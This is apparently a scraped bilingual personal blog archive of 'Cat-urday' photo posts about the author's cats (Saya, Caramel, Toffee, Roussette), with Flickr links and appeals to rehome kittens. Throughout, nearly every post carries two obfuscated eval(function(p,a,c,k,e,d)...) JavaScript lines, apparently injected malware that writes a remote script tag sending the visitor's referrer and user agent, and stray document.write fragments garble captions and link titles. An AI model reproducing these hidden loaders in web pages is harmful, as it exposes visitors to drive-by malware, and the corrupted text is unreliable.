Move over; I wanna see too!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkybr|var|u0026u|referrer|dhhii||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|takkk|var|u0026u|referrer|esifb||js|php’.split(‘|’),0,{}))
Tasse-toi, document.write(“”); je veux voir!
(2014-05-17)

Cats
L’Image du chat-medi / Cat-urday’s picture
Ummm… What can I do to get rid of this pesky camera?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khirs|var|u0026u|referrer|tdekf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ankff|var|u0026u|referrer|ariyh||js|php’.split(‘|’),0,{}))
<a href="https://www.flickr.com/photos/clodjee/13977133958" title="Ummm by Clodjee Pelletier, document.write(“”); on Flickr”>
Roar !
(or yawn…)

(Caramel, 2014-04-20)
[ Traduire ]
L’image du chat-medi / Cat-urday’s picture
Saya seeing a Tsushima‘s yama-neko in the TV!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftera|var|u0026u|referrer|htszf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfehb|var|u0026u|referrer|ibhbf||js|php’.split(‘|’),0,{}))
Saya voit un yama-neko de Tsushima à la télé !
(2014-03-31)
<a href="https://www.flickr.com/photos/clodjee/13915042350" target="“new”" title="Yama-neko in TV! by Clodjee Pelletier, document.write(“”); on Flickr”>

L’image du chat-medi / Cat-urday’s picture
Cendrine, document.write(“”); l’un des chats de ma soeur L. (2014-04-20)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|endnh|var|u0026u|referrer|ynrds||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krdat|var|u0026u|referrer|kdbtk||js|php’.split(‘|’),0,{}))

L’image du chat-medi / Cat-urday’s picture
Caramel (2014-04-13)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yizys|var|u0026u|referrer|yrebd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fszhb|var|u0026u|referrer|btifn||js|php’.split(‘|’),0,{}))
<a href="https://www.flickr.com/photos/clodjee/13931844371" target="“new”" title="Caramel (2014-04-13) by Clodjee Pelletier, document.write(“”); on Flickr”>
L’image du chat-medi / Cat-urday’s picture
Caramel, document.write(“”); enfin seul (reste encore à s’entendre avec Saya!)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sibba|var|u0026u|referrer|nitrf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhyf|var|u0026u|referrer|rydtd||js|php’.split(‘|’),0,{}))
Caramel, the last kitten remaining
(2014-04-06)

L’image du chat-medi / cat-urday’s picture
Roussette (2014-03-30)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzeyk|var|u0026u|referrer|iaktt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thnka|var|u0026u|referrer|khede||js|php’.split(‘|’),0,{}))
<a href="https://www.flickr.com/photos/clodjee/13685866944" target="“new”" title="Roussette by Clodjee Pelletier, document.write(“”); on Flickr”>
We’ve finally placed Roussette in a shelter. Goodbye my girl, we will miss you.
[ Traduire ]
L’image du chat-medi / Cat-urday’s picture
Toffee (2014-03-07)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahdyn|var|u0026u|referrer|tbhsf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hibik|var|u0026u|referrer|eihah||js|php’.split(‘|’),0,{}))
https://www.flickr.com/photos/clodjee/13047892833/in/set-72157637356005193/player/Update (2014-03-30): We have finally found a nice adoption family for Toffee. Goodbye my boy, document.write(“”); we will miss you.
[ Traduire ]
L’image du chat-medi / Cat-urday’s picture
Caramel (2014-03-07)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kikbd|var|u0026u|referrer|rizea||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntfbh|var|u0026u|referrer|srhnf||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/13048078994/" target="“new”" title="Caramel by clodjee, document.write(“”); on Flickr”>
Rappel: nous cherchons toujours une bonne famille d’accueil pour Toffee et Roussette (voir l’affiche). Merci. / Reminder: We’re still looking for a nice host family for Toffee & Roussette (check the poster). Thanks.
L’Image du chat-medi / Cat-urday’s picture
Caramel et Rousette (2014-03-02)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkknz|var|u0026u|referrer|iyabe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzerr|var|u0026u|referrer|nfahh||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/13048077084/" target="“new”" title="Caramel et Rousette by clodjee, document.write(“”); on Flickr”>
Rappel: nous cherchons toujours une bonne famille d’accueil pour Toffee et Roussette (voir l’affiche). Merci. / Reminder: We’re still looking for a nice host family for Toffee & Roussette (check the poster). Thanks.
L’image du chat-medi / Cat-urday’s picture
Toffee, document.write(“”); Caramel & Roussette
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rarha|var|u0026u|referrer|thakz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|askdt|var|u0026u|referrer|ndtnf||js|php’.split(‘|’),0,{}))
(2014-03-02)
Rappel: nous cherchons toujours une bonne famille d’accueil pour Toffee et Roussette (voir l’affiche). Merci. / Reminder: We’re still looking for a nice host family for Toffee & Roussette (check the poster). Thanks.
L’image du chat-medi
Saya (2014-02-10)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eesey|var|u0026u|referrer|ntnsa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ssdik|var|u0026u|referrer|sksin||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/12866140235/" target="“new”" title="Saya (2014-02-10) by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chats à vendre (voir la nouvelle affiche et faire circuler)
Reminder: we still have two cats to sell (check the new poster and pass around please)
L’image du chat-medi / Cat-urday’s picture
Toffee et Rousette
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yybie|var|u0026u|referrer|ianbk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnead|var|u0026u|referrer|rbdfk||js|php’.split(‘|’),0,{}))
(2014-02-17)
<a href="http://www.flickr.com/photos/clodjee/12723307394/" target="“new”" title="Toffee & Rousette by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chats à vendre (voir la nouvelle affiche et faire circuler)
Reminder: we still have two cats to sell (check the new poster and pass around please)
L’image du chat-medi / Cat-urday’s picture
Roussette et Caramel
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzzae|var|u0026u|referrer|hddea||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tddsb|var|u0026u|referrer|ehiye||js|php’.split(‘|’),0,{}))
(2014-02-10)
<a href="http://www.flickr.com/photos/clodjee/12550739625/" target="“new”" title="Rousette & Caramel by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chats à vendre (voir la nouvelle affiche et faire circuler)
Reminder: we still have two cats to sell (check the new poster and pass around please)
L’image du chat-medi / Cat-urday’s picture
Saya (2014-01-27)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnibi|var|u0026u|referrer|ikdzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kerai|var|u0026u|referrer|nakkh||js|php’.split(‘|’),0,{}))
https://www.flickr.com/photos/clodjee/12420598223/player/4e5bde138d
Rappel: nous avons toujours deux chats à vendre (voir la nouvelle affiche et faire circuler)
Reminder: we still have two cats to sell (check the new poster and pass around please)
L’image du chat-medi
Bookshelf cat / Chat de bibliothèque !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkrin|var|u0026u|referrer|tzaai||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkztr|var|u0026u|referrer|daihk||js|php’.split(‘|’),0,{}))
https://www.flickr.com/photos/clodjee/11693011523/player/4b3aa7108a
Rappel: nous avons toujours deux chats à vendre (voir la nouvelle affiche et faire circuler)
Reminder: we still have two cats to sell (check the new poster and pass around please)
L’image du chat-medi
Caramel sommeille
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfzin|var|u0026u|referrer|tkrsy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zresy|var|u0026u|referrer|fyyre||js|php’.split(‘|’),0,{}))
https://www.flickr.com/photos/clodjee/11631189144/player/11be382289
Rappel: nous avons toujours deux chatons à donner (voir l’affiche et faire circuler si possible)
Reminder: we still have two cats to give away (check the poster and pass around please)
L’image du chat-medi
Saya était jaloux de pas avoir eut de photos depuis longtemps…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fehah|var|u0026u|referrer|idydb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzydk|var|u0026u|referrer|zdfie||js|php’.split(‘|’),0,{}))
https://www.flickr.com/photos/clodjee/11497570913/player/595c929b86
Rappel: nous avons toujours deux chatons à donner (voir l’affiche et faire circuler si possible)
Reminder: we still have two cats to give away (check the poster and pass around please)
Continuez après le saut de page
S.v.p. votez pour la photo de notre chat dans ce concours!
https://clients.shoutlet.com/service/v2/canvas_builder/load?id=5277c14511dc76282200002a&design=3f4a544dcfcfdba661ea90e6999c15ef&channel_id=25850&distro_id=52780a1411dc76f11600003e&token=&entry_share_token=52ae3aa892f488ee6e00017e&entry_perma=52ae3aa892f488ee6e00017e&entry_share_token=52ae3aa892f488ee6e00017e
L’image du chat-medi / Cat-urday’s picture
Ce cher chaton Caramel
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stkhb|var|u0026u|referrer|fdsef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbzza|var|u0026u|referrer|fifsy||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/11391719956/" target="“new”" title="Caramel by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chatons à donner (voir l’affiche et faire circuler si possible)
Reminder: we still have two cats to give away (check the poster and pass around please)
L’image du Chat-medi
“Time spent with cats is never wasted” — Sigmund Freud
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynbaa|var|u0026u|referrer|zisfr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbza|var|u0026u|referrer|sefby||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/11260673926/" target="“new”" title="Joyeux Noel / Merry Christmas by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chatons à donner (voir l’affiche et faire circuler si possible)
Reminder: we still have two cats to give away (check the poster and pass around please)
Image du chat-medi (2013-11-30)
Chats de Noël / Christmas cats
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zikzh|var|u0026u|referrer|thzrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beare|var|u0026u|referrer|ztfek||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/11142274016/" title="Christmas cats by clodjee, document.write(“”); on Flickr”>
Rappel: nous avons toujours deux chatons à donner (voir l’affiche et faire circuler si possible)
Reminder: we still have two cats to give away (check the poster and pass around please)
Image du chat-medi (2013-11-23)
Mes chatons / My kittens
